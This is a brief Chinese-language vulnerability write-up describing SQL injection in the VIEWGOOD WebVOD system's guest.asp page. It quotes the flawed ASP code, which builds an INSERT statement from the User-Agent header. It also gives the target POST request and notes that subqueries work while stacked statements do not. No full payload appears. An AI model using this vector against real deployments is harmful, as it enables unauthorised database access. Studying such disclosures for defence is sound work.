远古视频点播系统的一个注入漏洞

VIEWGOOD VOD视频点播系统 (WebVOD)
漏洞产生于文件/webmedia/oemui/user/guest.asp，访问这个页面需要注册

相关代码：

szAgent = Request.ServerVariables("HTTP_USER_AGENT")
    aTmpInfo = Split(szAgent, " (", -1, 1)
    aAgentInfo = Split(aTmpInfo(1), "; ", -1, 1)

    szBrowser = aAgentInfo(1)
    if Right(aAgentInfo(2), 1) = ")" or Right(aAgentInfo(2), 1) = ";" then
        szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)
    else
        szOS = aAgentInfo(2)
    end if
    szClientIP = Request.ServerVariables("REMOTE_ADDR")

    szSQL = "INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(" & iUserID & ",'" & szMemo & "','" & szClientIP & "','" & szOS & "','" & szBrowser & "','" & now &"')"
    con.Execute szSQL

HTTP_USER_AGENT我们可以自己构造

POST /webmedia/oemui/user/guest.asp HTTP/1.1

怎么子查询啊？

参考微软的帮助文件

SQL Subqueries
A subquery is a SELECT statement nested inside a SELECT, SELECT...INTO, INSERT...INTO, DELETE, or UPDATE statement or inside another subquery.

SELECT * FROM Products

WHERE UnitPrice > ANY

(SELECT UnitPrice FROM OrderDetails

WHERE Discount >= .25);

支持子查询但不支持多语句执行;)
